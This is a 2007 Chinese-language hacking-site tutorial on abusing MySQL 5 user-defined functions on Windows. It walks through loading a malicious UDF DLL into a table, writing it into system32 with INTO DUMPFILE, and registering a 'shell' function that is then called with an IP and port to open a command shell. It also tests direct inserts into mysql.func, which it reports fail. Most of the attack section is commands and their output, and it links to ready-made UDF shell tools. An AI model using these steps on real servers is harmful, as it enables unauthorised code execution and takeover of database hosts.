您现在的位置: 骇客基地 >> 黑客文章 >> 黑客攻防 >> 黑客教程 >> 正文

udf’s hacking in mysql5
骇客基地 阅读: 时间:2007-6-29 14:59:20 来源:www.hookbase.com
  

udf's hacking in mysql5

[本文是基于win系统,unix系统没测试]

在mysql5里使用udf必须解决2个问题:
1、udf的格式要求更加严谨,按照以前的版本写的udf不可以使用。
2、udf文件必须放在系统目录下。

解决办法:
问题1:官方udf资料:
http://dev.mysql.com/doc/refman/5.0/en/adding-udf.html
udf例子:http://leithal.cool-tools.co.uk/sou...8cc-source.html
在云舒写的那个udfshell,是可以用在mysql5的http://www.icylife.net/yunshu/show.php?id=244

问题2:可以使用into dumpfile把dll文件放到system32目录下来突破:

mysql> use mysql;
Database changed
mysql> create table heige(line blob);
Query OK, 0 rows affected (0.50 sec)

mysql> insert into heige values(load_file('c:/udf.dll'));
Query OK, 1 row affected (0.08 sec)

mysql> select * from foo into dumpfile 'c:/winnt/system32/heige.dll';
Query OK, 1 row affected (0.18 sec)

mysql> create function shell returns integer soname 'heige.dll';
Query OK, 0 rows affected (0.07 sec)

mysql> select * from mysql.func;
+-------+-----+-----------+----------+
| name | ret | dl | type |
+-------+-----+-----------+----------+
| shell | 2 | heige.dll | function |
+-------+-----+-----------+----------+
1 row in set (0.00 sec)

mysql> select shell('127.0.0.1','1234');
+---------------------------+
| shell('127.0.0.1','1234') |
+---------------------------+
| NULL |
+---------------------------+
1 row in set (0.97 sec)

成功突破了,当然你可以使用先把dll转为hex的方法[
http://www.ph4nt0m.org/bbs/showthre...&threadid=34013
只要把里面的hex替换,如果把dll导出的目录改为system32 当然里面的function函数名相应改]


有人提出使用INSERT INTO直接对mysql.func插入数据,修改dl里的dll的路径来突破。
我们测试下:

mysql> drop function shell; <--drop function
Query OK, 0 rows affected (0.00 sec)

C:\WINNT\system32>del heige.dll <--删除heige.dll

mysql> drop table func; <--drop表func
Query OK, 0 rows affected (0.00 sec)

mysql> CREATE TABLE `func` (
-> `name` char(64) collate utf8_bin NOT NULL default '',
-> `ret` tinyint(1) NOT NULL default '0',
-> `dl` char(128) collate utf8_bin NOT NULL default '',
-> `type` enum('function','aggregate') character set utf8 NOT NULL,
-> PRIMARY KEY (`name`)
-> ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_bin COMMENT='User defin
ed functions';
Query OK, 0 rows affected (0.06 sec) <--创建表func

mysql> INSERT INTO `func` VALUES ('shell', 2, 'c:/udf.dll', 'function');
Query OK, 1 row affected (0.00 sec)

mysql> select * from func;
+-------+-----+------------+----------+
| name | ret | dl | type |
+-------+-----+------------+----------+
| shell | 2 | c:/udf.dll | function |
+-------+-----+------------+----------+
1 row in set (0.00 sec)

mysql> select shell('127.0.0.1','1234');
ERROR 1305 (42000): FUNCTION mysql.shell does not exist

然后我们把c:/udf.dll 放到system32目录下,你也会发现insert into的方法是行不通的.

今天广告
参与评论:
注意事项:
【udf’s hacking in mysql5】文章由骇客基地网上搜集,其立场行为并不代表本站。
如果您发现该文章若无意中侵犯到您的权利,请联系我们!
未经本站明确许可,任何网站不得非法盗链及抄袭本站资源;如引用页面,请注明来自本站,谢谢您的支持!
最近更新
最新推荐
     
 
黑客首页 | 服务指南 | 软件发布  | 关于我们 | 本站声明  | 隐私声明 | 诚征英才 | 网站地图 | 友情链接 |
 
 
中国·黑客·骇客·基地 请使用IE6.0版本, 分辩率1024×768进行浏览 www.hookbase.com 站长:利客 Email:hookbase@163.com
Copyright © 2004-2009 All Rights Reserved. 粤ICP备05000985号